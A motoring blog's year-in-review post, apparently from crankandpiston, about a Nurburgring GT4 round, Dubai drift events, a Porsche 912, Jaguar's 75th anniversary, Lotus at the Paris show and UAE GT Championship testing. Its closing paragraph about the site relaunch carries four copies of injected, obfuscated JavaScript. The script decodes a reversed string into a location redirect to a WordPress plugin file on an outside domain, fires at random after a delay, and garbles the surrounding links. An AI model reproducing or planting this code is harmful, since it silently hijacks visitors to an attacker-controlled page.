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So lets jump straight into part two. Lotus Sport Middle East – otherwise known as the ever affable Fred and Julian from NFS Racing in Dubai – invited crankandpiston to follow their efforts at the Nurburgring round of the European GT4 Championships in August.
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Criminally, it was my first visit to the ‘Green Hell’ and I was rather looking forward to stretching the legs of our 120d hire car on the Nordschlieffe during our time there.
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Unfortunately, rather obscene rain on the first few days put the brakes on that idea and the track was closed for some private BMW training the next day, so I returned without tackling the hallowed tarmac. Next time…
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Back on the GP track, Fred and Julian were having a whale of a time in their Lotus 2-Elevens – which have since seen battle in the UAE GT Championship, plus one will compete in the Dubai 24hrs.
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SSK Drift Events
The local crowd has been dipping its toes in the slippy slidely form of motorsport under the organisational might of Samir and the Evolve.ae boys.
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The events are a combination of autocross, drifting, gymkhana and a bit of wet surface fun thrown in for good measure.
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We even had two Mitsubishi Evos decked out in C&P colours to fly the flag for us – muchos thumbs up to Mike and Stu for that!
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Porsche 912 landed
A certain Mr McGovern – and McGovern Snr – has a bit of a soft spot for Porsches with a 964 RS, 993 RS and diddy 912 in his stable.
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The red and yellow delicate flowers have been in the region for a while now, but Phil finally decided to bring the old timer over this year.
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She’s currently in mid strip-down mode in time for a well-deserved respray – though despite my best efforts, this will be in the current champagne silver, rather than the original orange.
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Jaguar’s 75th Birthday
Jaguar kindly dropped an invite C&P’s way to attend a jaunt in Gaydon where we could get first hand experience of some of the greatest cars from Coventry’s illustrious past.
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Who better to attend than Phil who had spent most of his working life with the historic brand. Despite Ian Callum completely reinventing the brand with the current line-up of cars, it’s good to see that there are still many features carried over from the past masters.
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The C-X75 concept car shows what could be a very interesting future for the big cat.
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Lotus taking the limelight at Paris
After a couple of days in the UK, Phil then jumped over to Paris for the mega-sized motor show. Without question it was Lotus who stole the limelight from every other manufacturer.
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Rather than just showing one new product or concept car, the small manufacturer from Norfolk unveiled its entire product plan for the next five years. We’ll just have to wait and see whether they can now actually deliver on their promises.
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House of Portier / TAM Auto Engineering testing in Hockenheim
Before the start of the 2010/2011 UAE GT Championship, we followed the House of Portier / TAM Auto Engineering team in Hockenheim as they shook down their GTA Corvette after it received a few upgrades. The team were also busy working with Callaway on their new GTB Corvette ready to take battle to the rest of the grid.
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Though the season didn’t get off to the best of starts in Round 1 after the GTA car caught fire due to a technical issue, the boys came back in style in Round 2 winning with both cars.
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At the mid-way point of the season, both Karim Al-Azhari and Mohammed Al Mutawaa are sitting at the top of each driver’s championship having done a sterling job alongside their fly-in teammates of Fabian Giroix and Jiri Skula.
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However, they have the NFS Racing Dodge Viper and the Zytech-engined Ginetta G50 Z nipping at their heels. The rest of the season is going to be a nail-biter that’s for sure.
C&P v2.0
October saw the old grungy C&P site disappear into the ether of the internet and our all-singing and dancing website come to life. As you’ve probably seen, we’ve now divided up the site into three sections – $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/articles/ontheroad/” target=”_blank”>on the road, $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/articles/onthetrack/” target=”_blank”>on the track and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/articles/lifestyles/”>lifestyle to cover all aspects of automotive culture in the Middle East. Those of you hankering after the old blogroll style of the site can find all our posts lumped together in the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/archives/” target=”_blank”>archives section. Watch this space for plenty more to come from crankandpiston in the New Year.
